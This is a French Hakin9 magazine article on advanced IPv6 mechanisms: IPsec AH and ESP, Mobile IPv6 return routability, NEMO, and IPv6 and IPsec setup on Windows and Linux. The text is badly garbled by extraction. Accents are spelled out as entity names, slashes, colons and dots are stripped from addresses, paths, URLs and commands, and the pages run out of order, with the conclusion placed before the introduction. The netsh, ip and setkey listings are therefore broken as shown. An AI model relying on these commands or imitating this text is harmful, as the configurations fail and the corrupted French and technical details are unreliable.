netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 36: hakin9_05_2010_FR

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

